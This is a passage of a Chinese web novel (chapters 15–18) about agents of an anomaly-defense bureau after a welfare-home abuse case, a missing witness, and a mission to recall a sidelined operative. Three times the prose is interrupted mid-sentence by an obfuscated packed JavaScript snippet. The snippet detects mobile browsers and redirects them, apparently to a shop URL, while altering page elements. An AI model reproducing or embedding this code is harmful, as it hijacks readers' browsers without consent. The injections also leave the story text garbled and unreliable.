两人都是瘦弱的女生,挤一挤,可以勉强进缝隙。她们往前爬了一会,就在陶来贝心生退意时,所处的空间逐渐变大,她小心翼翼的蹲起来,只见这里是多层空间,每层都差不多一米。 而在最高的角落,一个瘦小的身影蜷缩在那里,正是失踪的小小!她怀里还紧紧抱着一个更小的女孩,两个孩子脸上都有泪痕,瑟瑟发抖。 “小小!”陶来贝压低声音惊呼。 小小透着昏暗的灯看到了陶来贝她们,一言不发。她捂住怀里妹妹的嘴,不让她哭出声。 “别怕,是我们。”曾果也靠过来,温柔道,“你怎么在这里?田雪老师呢?” 小小瞪大眼睛,“我不知道。” 她不信任她们。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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王姐看到田雪,先是一惊,见她身上全是水,反应过来,难怪找不到她,原来一直藏在观赏池里,“好哇,田雪!果然是你这个吃里扒外的东西!我说怎么到处找不着,那水怎么不冻死你?就是你把白容引进来的吧?” 琳达凉凉道,“田老师,你可真让我们好找。院长正愁找不到人撒气呢。你自己送上门,就别怪我们了。” “我问心无愧!倒是你们,迟早会遭到报应。”田雪毫不畏惧。 琳达笑了,“报应?田老师啊,你可真天真,刀都架在你脖子上了,嘴巴还这么硬。” 门已经被锁上,王姐举起刀朝着田雪走。 陶来贝和曾果捂住嘴,惊恐地看着这一幕。小小死死抱着妹妹,浑身发抖。 田雪退无可退,背靠着墙壁,闭上眼睛准备迎接死亡。 就在这千钧一发之际, “呜”的长鸣刺耳至极,响彻整个福利院。 紧接着,广播里传来门卫保安惊恐变调的大喊,“院、院长!王姐!不好了!外面!外面好多车!好多人!把我们包围了!他们声称自己是异防总局清理部的人!” 王姐和琳达双双愣住,脸上的恶意被惊愕取代。 田雪听到声音的那刻,如负释重。 活动室的门被“嘭”地一声从外面大力踹开! 一个穿着清理部制服的熟悉身影率先进来。 她冷厉的眼神直视前方,手中能量枪的枪口,稳稳指向了室内的王姐和琳达。 她的身后,是全副武装、鱼贯而入的清理部行动队员,赵随石最后到场,手持调查许可。 容贤的撇了眼王姐和琳达惨白的脸,声音顿挫有力,“喜山福利院涉嫌非法囚禁、虐待儿童、勾结异花走私及危害人类安全等罪名,现在将依法对你们进行逮捕。” “孩子们,你们安全了。” 15. 争执 “喜山福利院院长余营营今日被逮捕,他名下的财产将一一进行公布,受害儿童的后续安置情况将持续为您播报……感谢您今日的观看,我们明天再见。” AI主持人甜美的机械声音从街角巨大的公共屏幕上传来。 画面切换,五彩斑斓的舞台亮起,肆意潇洒的偶像团体“落日”开始热舞,欢快的音乐瞬间淹没了先前那则严肃新闻的余韵。 人行道上人来人往,他们脸上带着下班后的松弛,或低声谈笑,或沉浸在自己的终端屏幕里。那则关于福利院的严肃新闻,还没惊起波澜,就已经被娱乐的汪洋大海给吞没。 容贤坐在路边的长椅上,单手拿着一杯温热的奶茶,入口甜腻,让心情不那么沮丧。 赵随石坐在她旁边,帽子压得很低,口罩遮住了大半张脸,一身休闲打扮,自从他代表异防局露了脸,优越的外貌地位让他在网上小火了一把,多了一些粉丝,这让他出门更谨慎了些。 他抱着手臂,向后靠在椅背上,姿态放松,感到容贤低落的情绪。 “这次你做得很好。”他闲聊似的开口,“能顺利拿下余营营,锁死证据链,你提供的现场记录和那个孩子的证词是关键,怎么你看起来还不太高兴?” “福利院的孩子都被妥善安置或找到了新的收养家庭,涉案员工也抓了,喜山福利院的牌子也摘了,封了。从结果看,是好事。”容贤吸了一口奶茶,声音没什么起伏,“那真正该死的人还躲在后面,你知道余营营是摆在明面上的傀儡,福利院地下那些东西的来源、只有卖家没有买家信息,偏偏余营营一个人全扛了下来,只能草草结案。” 她转过脸,看向赵随石,“赵哥,这不对。” 赵随石帽檐下的眼睛看着她,“我理解你的感受。疑点确实很多,按道理不该这么快结案,但容贤,我们不仅是在查案,也是在应对公众,余营营的罪行证据确凿,手段残忍,触及了底线,公众的愤怒和恐惧需要安抚,政府的决心需要彰显,在这个时候,拿出一个明确的、罪大恶极的靶子,迅速给予法律制裁,是必须的姿态。这叫给公众一个交代,也是给某些藏在暗处的人一个警告。” 容贤皱了皱眉,这些话她听懂了字面意思,但内里的权衡与妥协,让她本能地感到不适。 “事情要一件一件做,路要一步一步走。”赵随石沉稳道,“余营营一案,已经警醒了内部,过不了多久,会有一场大动静。” 赵随石顿了顿,“你啊,别想那么多。这次行动,你救出了孩子,已经做到了你能做的最好。给自己放个假,嗯?” 容贤没再反驳,只是低低“哦”了一声,转回头继续喝奶茶。 * 一周后,一家价格亲民的家庭餐馆里。 陶来贝和曾果坚持要请客。 异警部的表彰和学校补发的实践优秀评价让她们既后怕又有些骄傲。 “白容……不对,现在该叫容贤姐了!”陶来贝眼睛亮晶晶的,举起果汁,“真的谢谢你救了我们,还有田雪姐,能认识真的太好了。” 看过她们资料的容贤很认真的说,“我应该没你大,叫我容贤就好。” 陶来贝都叫出来了,就不打算改,乐呵呵道,“有时候姐是一种感觉。” 她就是要叫容贤姐。 曾果也郑重举杯,比起陶来贝的激动,她显得沉稳了些,但眼神同样真挚,“容贤姐,田雪姐,我们相识一场,就是缘分,很感谢你们的挺身而出。异警部的警官也说得对,以后遇到事,我们会更先考虑保护好自己。” 田雪坐在一旁笑了笑,笑容里有些释然,也有些不易察觉的疲惫。 “我也要谢谢你们,还有容贤,是你们的勇气,最后关头保护了小小他们,也让我没有白白站出来。”她碰了碰杯,喝的是清水,“我明天就离开中心区了。这里……终究不是我能待的地方。” 容贤看向她,“想好了吗?” “嗯。”田雪点头,“我做的事,对得起良心。但喜山福利院背后牵扯的东西,不是我一个小人物能抗衡的。余营营虽然倒了,可断人财路如杀人父母,留下来,太危险了。家里人也担心,或许换个环境会好一点。” 天下无不散之筵席,陶来贝哭的最惨,抱着田雪不撒手,曾果内敛一些,也红了眼。容贤倒是寻常高冷的样子,她没体会过这种离别的愁绪。 在餐馆门口,她们挥手道别,走向各自不同的人生路口。 容贤看着田雪背着简单行囊、汇入人流的背影,久久没有离去。 独自一人坐上轻轨回宿舍,听着周围的笑谈,她才真切的感到一丝怅然。 几周后的一个普通下午。 容贤结束训练,正在给麻医生发训练数据,一条加密信息弹了出来,来源是曾果,她们之后偶尔会联系。信息很短,却让容贤冷淡的表情凝固,「容贤姐,联系不上田雪姐了。她老家那边说,她根本没回去。一周前还有联系,后来就突然失联了,电话不通,所有社交账号都没动静。我想问问你,你可以联系她吗?」 容贤立刻尝试联系田雪,果然石沉大海。她调出之前田雪说过的大致目的地,通过清理部的渠道进行谨慎查询,反馈回来的消息是:田雪在计划回老家的途中,于中转城市失去了踪迹。当地记录显示她购买的车票并未使用,入住一家小旅馆后,次日未退房,人却不见了,随身物品大部分都在。旅馆监控在对应时间段出现了故障。警方初步按失踪处理,但线索寥寥。 容贤径直去了赵随石办公室。 “田雪失踪了。”她开门见山,将曾果的信息和自己的查询结果放在赵随石面前,“在计划离开中心区的途中。这绝不是意外。” 赵随石放下手中的文件,看了一眼,眉头微蹙,“我知道了,会让人跟进一下。” 他的反应过于平静,甚至可以说有些敷衍。容贤盯着他,“跟进一下?赵哥,田雪是因为举报喜山福利院、配合我们调查才暴露、才被迫离开的,她是关键证人,也是因此遭受报复威胁的受害者,我们不应该重视吗?” 赵随石揉了揉眉心,眼底有些黑影,“容贤,每天发生的失踪案、意外事件成千上万,清理部的主要职责是处理异花相关威胁,田雪的失踪,目前看只是一起普通人口失踪,应该由当地治安部门负责,我们不能越区管理。” 容贤双手紧握,“这明明就是福利院背后那些人的报复,我们有那么多理由将此案划给清理部。” “很好,你这些日子没有白白浪费,学了很多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17133900|195618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”赵随石的声音也沉了下来,“那么就知道清理部处于什么尴尬的地位,我们的力量有限,必须用在最关键的刀刃上。田雪选择了离开,也拒绝了我们可以提供的有限保护方案,每个人都有自己要面对的风险和选择。现实一点,容贤。” “现实?”容贤比任何时候都要讨厌这两个字,“现实就是田雪失踪,我们无能为力。” 赵随石一直含笑的眼睛变冷,“关于田雪失踪案,我会让当地优先以异常失踪找人,但仅此而已。现在,出去。” 容贤看着赵随石不容置疑的脸,最终什么也没说,转身大步离开了办公室。门在她身后关上,发出一声闷响。 不欢而散。 * 接下来的几天,容贤将自己投入更繁重的训练,用身体的疲惫来压抑内心的愤怒与无力感。 麻医生不知是好心还是故意刁难,给杨理火这样的强异能者安排了频繁的对抗训练,对象就是容贤。 容贤没有丝毫喘息时间,晚上都没有来得及想田雪的事,直接睡了过去。 她不知道的是,在她看不见的地方,赵随石的书桌上,已经堆了几份来自其他部门的岗位调遣。 异警部某些派系想以借调的名义从这位在福利院案中表现出色、且可能知晓更多内情的新锐,也有些行政部门想以“协助完善福利机构监管条例”为名约谈,甚至还有来监察机构的间接询问。 申请的措辞都颇为客气,理由也冠冕堂皇。 可能是想从她这里挖出更多关于喜山福利院、关于余营营背后网络的细节,或者是想近距离观察、评估甚至掌控这把突然冒出来的、不太合规矩的利器。 赵随石一份份看完后,沉思片刻,拿起内部通讯器,直接拨通了几个号码。 一贯的温和语气,可内容很强硬。 “魏处,我已经看完了,我的答复是不行。清理部现在人手紧张,她是重要战力,近期任务排满了。” “池委员,容贤刚刚入职,还在熟悉流程,还不可以参与到高规格的调研。至于你说的福利院一案,她只是执行者,具体情况以我们正式提交的报告为准。” “李科长,容贤是清理部的人,她的一切对外活动都必须经过我的批准。有什么问题,可以直接来找我。” 他放下通讯器,喃喃道,“不受控,锋芒过盛……”摇了摇头,带着一丝确定,“不过,也只能是我的人。” 就在这时,他面前的屏幕亮起一条加密汇报,来自他早先派去、暗中尾随保护田雪的两名外勤人员。 汇报显示,田雪在中转城市表现出极高的警惕性,数次利用人流和监控死角试图摆脱可能的跟踪,也包括他们。最终,在一次她主动制造的混乱中,她成功甩掉了所有监视者,彻底消失在计划路线之外,再无痕迹。 汇报结论:目标人物具有极强的反侦察意识,其失踪极有可能是自主行为,旨在彻底隐匿行踪,规避已知或未知风险。 赵随石关闭页面,没有将这份报告的内容告知容贤。 田雪是否知道他的安排……是特意甩开他的人?还是真的担心会被余营营等势力的报复做出的决断?她的失踪代表着什么,在赵随石心里一直有个想法,但也只是猜测而已。 16. 冷战 容贤在本该训练的时间出现在上升的电梯里,电梯里原本说话的人瞬间安静。 他们闭住呼吸,等容贤走出去,才松了口气。 其中一个人说,“真稀奇,能这个时候见到她,还真难受。” 旁边嘘了声,“小声点,被她听到就不好了,她异能那么变态,你喜欢的隔壁异警部的帅哥都对她甘拜下风,一有时间就想挑战她,想约会都约不到。” “是吗,我昨日偷听到处长打电话,说是想让容贤来我们这,不知道对方说了什么,我感觉不是什么好话,他当场脸色就变了。” “哈哈哈,真的吗?太好笑了,我怎么没当场看到。”身为下属,他们必须要承担上司无尽挑剔,所以在听到上司吃跌,心里只有痛快。 突然他们后方传来一声大笑,盖过了他们的声音。 “是啊,真的太好笑了。” 等等,这是谁的声音?他们往后瞧,像是见了鬼似的张大嘴巴,“杨理火,你什么时候在这的?” “看来我太没存在感了,我一直都在这,你们竟然没看到,太令人伤心了。”杨理火从他们身后走出来,面带一丝嘲笑,“继续说,我就不打扰了。” 电梯门开了又关。 “不好意思,让让。” 杨理火小跑到容贤身边,“我说你啊,怎么都不生气的,起码让他们知道什么该说什么不该说吧。” 容贤一心沉浸在自己的世界里,对他人的蛐蛐声毫无察觉,听到他这么说,啊了一声,“他们在说我吗?” “要不然呢?”杨理火觉得她反应挺好笑,“还是多关注一下身边吧,否则你怎么b死的都不知道。” “他们打不过我。”容贤认真思考了下,“你死了,我都不会死。” 杨理火呵了声,“你很嚣张啊。”他拿出卡刷了一下电子锁,验证通过,一道又一道门打开,“算了,有赵哥在,应该不会有什么问题。” 容贤对赵随石心里还有气,听到他的名字就不肯搭理了。 杨理火是个爱挑事的,看她这不情愿的模样,故意说,“赵哥日理万机,也没体谅一下我们新人,真是太不应该了,我支持你申请调职,谁让赵哥不珍惜你呢。” “嗯?可以这样吗?” “当然可以。”杨理火眨了眨眼,“据我所知,有好多部门都想要你呢。”他没说的是必须要赵随石本人同意。 容贤还没转过弯,她没想过离开赵随石,毕竟一开始就是他把她带进来的,但杨理火的提议在她心里埋下种子。 车尔过来狠狠敲了杨理火的头,“说什么乱七八糟的话,要是让赵哥听到,你就别想好过了。”说完,他看向容贤,“别听他胡说。” “你们都跟我来。” 杨理火揉了揉头,“到底是什么事?把我们都唤上来,自从那喜山福利院的事结束后,这关于异花的消息也断了,应该没有我们清理部的事了吧?” 车尔调出几份档案,投影在空气中。“喜山福利院的案子,表面结了,但水下的暗流没停。我们和异警部的联合调查,很多地方被掣肘,效率太低。”他指了指那些档案,“赵哥的意思,清理部需要尽快重建我们自己的核心行动力量。之前社会招聘进来的新人还在磨合期,远水不解近渴,所以,召回旧部。” “旧部?”容贤抬起眼。 “嗯,当年跟着赵哥的老人。”杨理火积极回答,他难得收起了嬉皮笑脸,语气有些复杂,“一共有四个,都是好手,能力、忠诚都没得说。可惜……” “可惜什么?” “可惜当年赵哥被人阴了一把。”杨理火说起这个就来气,“他异能评级不算顶尖,关系户实锤,盯着他的人多了去了。只是做错一件事,当时赵哥经验不足,判断上出了点纰漏,被对家抓住把柄,这事赵局也觉得难看。明面上是外派到十八区历练,其实都知道是变相流放。他手下这几个最得力的,也受牵连,被踢出了中心区总局,分散发配到各个边缘分局去了。” 车尔补充道,“那几年,也是清理部地位下滑最快的时候,异花被源河防线压制,大规模入侵威胁减少,很多人觉得养着我们这群高成本的异能者部队不划算。清理部编制缩减,预算被砍,很多职能被异警部或地方治安队分流。我们这些留下来的人,日子也不好过。至于被发配出去的……在地方上,更是尴尬。” 他调出其中一份档案,照片上的男人看起来三十岁左右,精瘦,眉眼如鹰,嘴角朝下,一副很不好惹的样子。资料显示:冷复,原中心区清理部第一行动组副组长,异能,飞行类,级别A-,现任职于第十一区异防分局特别行动队。 “他是四个人中离中心区最远的,十一区环境复杂,涉黑涉灰的比较多。”车尔指着冷复当前的职务描述,“特别行动队?名字好听。根据我们拿到的内部简报和有限的沟通记录,他的手下长期不满编,甚至可能只有他一个光杆司令,处理的多是当地异能者治安案件,但大多时候他的名字都不会出现在任务汇报上。” 杨理火凑近看了看冷复档案里任务,都是些鸡毛蒜皮的小事,什么阻止异能者酒后斗殴,就是找失踪人口。 “曾经只处理中心区重大事件行动副队,在分局就成了打杂的?” 车尔没有反驳,只是说:“他的档案在十一区分局内部系统里,近半年的详细任务记录和评估几乎是空白。只有简单的出勤打卡和基础薪资发放记录。这说明,他的工作不被重视,甚至不被记录。有用的时候拉出来用一下,没用的时候,就让他自生自灭。” “工具。”容贤低声说。 “对,就是工具。”车尔看向她和杨理火,“你们的第一个任务,就是去十一区,找到冷复,传达赵哥的召回意向,并尽可能了解他现在的处境和意愿。尽量不要与十一区分局的上层发生冲突,还需要他们的签字,能顺利把冷复带回来是最好的。” 容贤看着冷复那张冷峻的脸,点了点头,她想做的就是有意义的事,将心比心,如果她是冷复,也一定很想回来大展宏图。 杨理火突然问,“车尔,赵哥呢?这么重要的事,他怎么不亲自和我们说?” 他们现在就在赵随石的办公室里,他发出疑问也很正常。 车尔看了眼容贤,“最近上面一直在的开会,说是讨论接下来几年的大方向该怎么走,之前的事也警醒了他们,必须要得到群众的支持,顺应时代发展,这其中,赵哥身为形象代言人,必须要出席会议。” “这话说的可真好听,人模狗样的。”杨理火阴阳怪气道,“谁不知道他们这是急了,要把事全归到赵哥身上。” “少说两句。” 车尔阻止他发牢骚,和疑惑的容贤说,“习惯就好,赵哥这关系圈需要维护,天天得需要露脸,之前他就是吃亏在孤立无援了,现在好多了,福利院那次,也是异警部的同事协助我们成功突破的。” 容贤之前还有些不明白的现在全明白了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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之前大统帅对异防局的态度也有些暧昧不清,外界盛传他对赵局不满,可大统帅时不时的和赵局约谈,大家都觉得不可能,可如今看来,传言非虚。 赵随石下了会议,那替他说话的池衍委员在等着他一起用餐。这是他们早就说好的,今晚势必要喝酒。 池衍心中的气需要出气口,赵随石之前不买他面子,无论如何,他都不会让赵随石这个小辈轻松。 酒喝到尽兴,池衍又提出容贤的事,赵随石摇了摇头,也没迂回,“她不能。” 不能?为什么不能?她坐在办公室不比在外面累死累活的强?一个小姑娘家家的,她应该不想在你手下累到。 赵随石捂着头,瓷白的脸有些发红,白发散下来,“她是我带回来的。”我得对她负责。 池衍见他都不清醒了,还坚持拒绝,可见是真不情愿了,“行,你真行。” 赵随石醒来时,看到了身边的早餐,旁边留了一行字,好好休息,我去十一区了。落笔容贤。 他还记得自己怎么回来的,由于身体不受意识控制,他敲响了对面容贤的门。他对容贤说了很多丢脸的事,包括他要缓和与池委员的关系,陪他喝了一夜的酒。 容贤很心软,赵随石吃着她带上来的早餐,心软的一塌糊涂。 他们明明在冷战,可容贤没有拒绝他。 他哪里知道,容贤看到他醉酒示弱的姿态,第一个想法是想玩他的头发。 17. 沉默的刀 容贤投过窗户看到了渐行渐远的中心区,她坐上了直达十一区的飞机,和她在同一飞机的人不多,杨理火刚上飞机,就和她透了这趟飞机的乘客都是什么人。 他们三三两两的聚在一起,有两个是做贸易的公司外派,有一个是技术工,十一区要开办一个机械展,没有经验,就和中心申请的核心人员…… 容贤的心思飘远,没有注意听他后面的补充。 “看来你昨晚遇到了好事。”杨理火摸了摸下巴,“让我猜猜看,你和赵哥和好了?” 容贤飘忽的心听到赵随石,回过神来,她有些惊讶,她并没有表露任何异常,“怎么看出来的?” “你小瞧我么?”杨理火一脸不岔,“这很难猜吗?我们有谁能让你心神不宁?都不用做排除法。” “哦。”原来是这样,容贤揉了揉眼睛,身边有个醉酒的人,长的还不错,还是她的上司,她很难坦荡入睡。 容贤很少外出,对于社交也不感兴趣,明明是个年轻人,不追时尚,爱好也没有,整天都是训练,这么枯燥的生活让与她共事一段时间的杨理火很是不解,觉得她把生活过的那么无趣,真的辜负了这大好时光。 也就是赵哥不一般,能受得了她,杨理火下了这个定论。 “容贤,准备吧,我们就要到了。”杨理火看着变色的大地。 十一区的建筑低矮密集,街道狭窄,空中偶尔有被中心区淘汰的公共悬浮巴士拖着黯淡的蓝光驶过。 空气中混合着重机油味,还有一些说不清从哪里来的臭味,容贤下了飞机,如果她还没有空入中心区,她不会觉得这有什么问题,比她所处的十六区要好很多。 偏偏她乘坐的是来中心区的飞机,她干净洁白的鞋子还没走多远,就已经有了黑印,她当场换了灰色的鞋子。 杨理火比她的态度夸张多了,他出生就在中心区,工作上也没遇到什么挫折,于是很难容忍这里的脏乱差。 暗骂一声,就要叫车,容贤拦住他,让打开导航,看看离目的地有多远。 “两公里。” “我们走过去。” “什么?这么脏的地,你确定?”杨理火不干了,“你疯了吧。” “没错。”容贤没把这地当回事,更何况…她冷下脸,看向朝他们走来的几个人,强行拽杨理火的衣服走。 他们连忙上来,“要去哪儿?”“我们直接走。”“上我们的车……” 杨理火本来就要答应其中一个,被硬深深拖走。 容贤冷声道,“你忘了我们这次来不能引人注目?你是生怕他们不知道你中心区来的有钱人?他们能在这拉客,都是消息灵通的人,把我们两记住,并传出去,你怎么办?” “OKOK”杨理火服气,他不是想不到,只是本能的厌恶让他忘了这次来的真实目的。 车尔已经安排好他们接下来以什么身份进入十一区。 他们就按部就班的以“总局后勤装备巡检员”的普通身份,低调地进入了第十一区异防分局。 分局大楼是一栋五层的老旧建筑,从外表看,打理的还算干净。 门口的自动感应声打开。 大厅里,几个穿着制服的办事员正围着一台不断弹出错误提示的公共终端抱怨,言语间透露出对维修申请石沉大海的不满。 他们没费什么力气就打听到了冷复,提到这个名字时,正在前台核对表格的一个年轻女文员撇了撇嘴,朝后面努了努下巴:“找冷队长啊?稀奇,喏,往里走,最深处的旧仓库那边隔出来的特别行动办公室,他一般在那儿。不过现在不在,他刚被叫去西街处理‘刺头’了。” “刺头?” “还能是什么,闹事的异能者呗。”另一个年纪稍大的男职员插话,语气里带着习以为常的麻木,“隔三差五就来一出,咱们这儿标配的镇暴型能量抑制棒老是故障,预算都被……咳,反正不好用。普通治安队碰上硬茬子就抓瞎,最后还不是得找冷队去擦屁股。”他说完,被女文员怼了一下,他反应过来什么,闭上了嘴。 容贤和杨理火交换了一个眼神,不动声色地离开大厅,朝着西街方向走去,还没到现场,就听到了嘈杂声。 西街是一条杂乱的商业街,此刻一片狼藉。 几家店铺的橱窗碎裂,货物散落满地,街中心,一个体格魁梧、双目赤红的男人正挥舞着双臂,他的异能明显是爆动了,将试图靠近的两名穿着治安队制服、手持透明能量盾牌的队员震得连连后退。那能量盾牌明暗不定,显然能量供应不稳。 “退后!退后!能量读数B-级!不是你们能对付的!等冷队来!”一个看起来是小队长模样的人躲在破损的摊位后,对着通讯器大喊,声音焦急。 周围拉起了临时警戒线,线外围了不少探头探脑的居民。 “都不许拍啊,不许看。”帮不上忙的治安队员正驱赶着他们。 科技支援人员正手忙脚乱地操作着几台带着轮子的方形仪器僵硬的转动,试图发出干扰能量,结果发出的嗡嗡声时断时续,指示灯明灭可见,对那发狂的异能者几乎没影响。 “真艹了!都说要换了!” “换?拿什么换?今年的高科技装备维护费早见底了!拿我的命给你换吗?” “冷复怎么还没来?磨蹭什么呢!” 一个穿着分局中层管理制服、头发梳得油亮的中年男人阴沉着脸喝道。 他手里拿着一个类似平板但外壳有裂痕的指挥终端,不断点击着,“再控制不住局面,引发更大骚乱,你们谁都别想好过!” 就在这时,一道身影从分局方向疾掠而来,速度极快,却在接近现场时陡然升空,悄无声息地落在街边一栋四层旧楼的楼顶边缘。 是冷复。 他依旧穿着那身洗得发白的旧制服,身形挺拔如松,立于高处,俯瞰着下方混乱的街面。 微风吹动他额前略显凌乱的头发,露出那双锐利如鹰隼的眼睛,他没有立刻动手,目光快速扫过现场,发狂异能者的位置、能量爆发模式、治安队员的分布、糟糕的技术辅助、围观人群与现场的距离……所有信息在几秒内被他尽收眼底。 楼下,副科长也看到了楼顶的冷复,非但没有松口气,反而像是本就滚囊的气球彻底爆发,对着通讯器不耐烦道:“冷复!你到了怎么不下来?在上面看风景吗?赶紧把他控制住!记住,尽量别损坏周边商铺财产!还有,别弄出重伤,医疗费也是钱!” 楼顶,冷复像是没听见,或者说,根本不屑于理会这种外行的、充满算计的指令。 他双腿微屈,下一刻,整个人如剑出鞘,从楼顶一跃而下!没有依靠任何外物,下坠过程中身体却违反常理地变得轻盈,在空中划过一道流畅的弧线,精准地落在那发狂异能者侧后方的一处杂物堆上,如鸿毛落地。 在异能者察觉到身后动静已经来不及,对方近身,朝他腹部强烈的打击! 冷复抬起右手,掌心向前,持续打击,一下两下——一股无形 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副科长脸色变换,最终还是挤出一丝笑容,走上前,“干得不错,冷队,也只是你能做到这么好了。”他试图拍拍冷复的肩膀以示亲近。 冷复侧身,不着痕迹地避开了那只手,看都没看他一眼,只是低头检查了一下倒地异能者的瞳孔,确认无误后,转身就要离开。 “冷复!”副科长手僵在半空,脸上有些挂不住,声音提高了些,“这就走了?后续报告……” “按流程。”冷复头也不回,声音冷淡沙哑,丢下三个字。他的左手下意识颤了颤,眉头几不可察地蹙了一下。 容贤的目光一直跟随着他,敏锐地捕捉到了这个小动作,也看到了他手上的血。 “切,真装。”一个年轻些、脸上带着桀骜不驯神情的治安队员,大概是新来的异能者,冲着冷复的背影低声嘟囔,“不就是资历老点吗?拽得二五八万似的。科跟你说话呢!” 旁边一个老队员赶紧拉了他一把说:“别乱说话,关键还得靠冷队救命!” “谁靠他了?我……” 他们的争论被容贤听进去了,而冷复连目光都懒得施舍给他们,他独自穿过开始清理的街道,身影很快消失在分局旧楼的方向。自始至终,没有人询问他是否消耗过度,没有人关心他身上的血迹是怎么回事,更没有人对他的精湛控制和高效解决表示真正的、同事间的赞许或关心。 他这一路走来,只对那个副科长说了三个字,其余时候都很沉默。 他在想什么? 容贤觉得他就像一把锋利却沉默的刀,被需要时抽出来用一下,用完了就随手插回那个无人问津的角落。 那些握着刀柄的人,既依赖刀的锋利,又忌惮刀的锋芒,忌惮刀的锋利,从而诋毁他,无视他,可又不敢轻易放弃他。 杨理火看着冷复消失的方向,咂了咂嘴:“这地方,真够够的,明目张胆的搞团队,生怕别人看不出他们不喜冷复。” 容贤没说话,只是心中郁结,冷复何等厉害人物,他刚才出手十分漂亮,她训练有成,都不敢说与他对打可以胜利。 这样的人,在他们眼里只能被当做工具,凭什么? 她想起赵随石,他知道多少呢,他是否也会和她一般愤怒。 “我们去找他。”她坚定道,“现在。” 18. 锈刀 黑夜降临,旧仓库改造的“特别行动办公室”里灯光还在亮着。 冷复靠在门口的椅子上,缓慢地用毛巾擦拭着手上的血迹,血迹已经干涸,他的动作很稳,面色平静,就好像之前迅速结束的行动没有给他带来影响。 办公室的门被轻轻叩响,不待回应,便推开了。 冷复不咸不淡的抬头,来人有两个人,其中一个人他不算陌生,中心区的人,能不请自来,联想到之前看到的新闻,他很快就想到了他们来的目的。 他一声不吭,等着对方开口。 “冷复队长,你好,我是容贤。”容贤率先往前走一步说,“总局后勤装备巡检员。”容贤出示了伪造的证件,真诚道,“例行巡检,需要核对部分边缘分局特殊行动人员的装备配置及使用情况。您是冷复队长吧?请配合。” “巡检?”冷复的目光在证件上停留了一秒,随即移开,落到容贤脸上,沙哑道,“什么时候总局还关心起我这小地方了?” 他扫过她身后的杨理火。他嘴角那丝惯常的、近乎讥诮的弧度似乎加深了些。“不好意思,我没听懂你说的是什么意思,什么装备配给?”他反复说,像是听到了什么荒谬的笑话,指了指自己已经磨损严重的制服,“可以再解释一下吗” 他的态度算不上合作,甚至有些尖锐的抵触,显然,他对“总局来人”缺乏基本的信任和好感。 “根据记录,第十一区分局特别行动队理论上配备有标准制式能量抑制器、便携式护盾发生器、以及小型治疗仪等八种配置。”容贤耐着性子解释道,“但目前分局仓库和您的签领记录显示,这些装备要么处于‘永久故障待维修’状态,要么‘库存为零’。我们想了解一下,在执行诸如刚才西街那样的任务时,您在没有常规装备支持的情况下,如何确保任务成功率及自身安全?分局对此有无替代方案或额外资源倾斜?” 冷复比所有人都清楚自己到底遭遇了什么,他被系统性地剥夺了应有的支持,却又要承担最危险的任务。 他情绪不高,“没有替代方案。没有资源倾斜。至于任务成功率,靠经验判断和自身异能。自身安全?”声音越发低沉,“无法保证,或许明天我就会死去。。” 办公室里的空气凝滞了一下,话里的怨气、无奈和某种根深蒂固的疲惫,几乎化为实质。 杨理火已经冷静不了了,说:“我现在就去找李维惜那狗东西!” “去丢脸吗?”冷复冷冷道,“杨理火,你是第一天在异防局吗?李维惜好歹也是一个分局局长,你找他干什么?揍一顿吗?” 杨理火当然想揍一顿,可现在动手明显是给赵随石找麻烦,他哼了一声,“肯搭理我了,不过几年没见,你说话更刻薄了。” “少废话,他让你们来的?”冷复不客气道。 “冷复队长,”容贤再次开口,声音压低了些,“我们不是总局后勤部的,我是容贤,清理部现任队员,我们受赵随石部长委托,前来找你。” 冷复亲耳听到,不仅没有欢喜,反而更警惕,他沉沉的盯着他们。 他还能相信赵随石吗?还是说,这又是来自他们的试探? “赵哥想召回你,还有当年其他几位老队员,回中心区,回清理部。”容贤直截了当,“清理部正在重建核心力量,需要你们。” “召回?”冷复终于开口,带着点古怪的腔调,“回中心区?回那个……当年把我们像垃圾一样扫出来的地方?” 他适应力很强,可在十一区他处处不合群,被排挤,被攻击,他的生命成了可有可无的存在。怨愤吗?有的,他不是宽宏大量的人,当年赵随石失败,他们这些人都被分开,他反抗的最激烈,于是遭到了最不公平的安排。 “当年的事,赵哥正在查。”杨理火忍不住插嘴,“他肯定要报复回去的,你回来,我们一起做…” 冷复火气上来,“杨理火,你可是当年清理部有名的刺头,家世好,能力强,就算赵随石倒台,你也能在总局混得下去,最多不过是从核心调到边缘,但你人还在中心区!你知道被踢到这种地方,顶着个空头衔,拿着微薄的薪水,干着最脏最危险的活,还要被一群蝇营狗苟的废物排挤、提防、当贼一样防着,是什么滋味吗?!” 他紧绷着神经,“他们怕我!因为他们知道我的能力远在他们之上!他们又恨我!因为我的存在无时无刻不提醒着他们的无能和平庸!所以他们一边离不开我,像今天这样,一有事就把我推出去当盾牌、当刀子;一边又想尽办法踩我、压我,克扣本该属于我的资源和补给。看看你的身边吧,我就在这样的地方工作和生活,宿舍就在隔壁,你问为什么没宿舍?他们说对危险异能者的限制!神踏马的限制!就因为我是赵随石带出来的人!就因为当年中心区有人不想看到赵随石和他手下的人还有翻身的机会!” 他的胸膛微微起伏,伤口又溢出了血,血腥味刺激着在场人的神经。 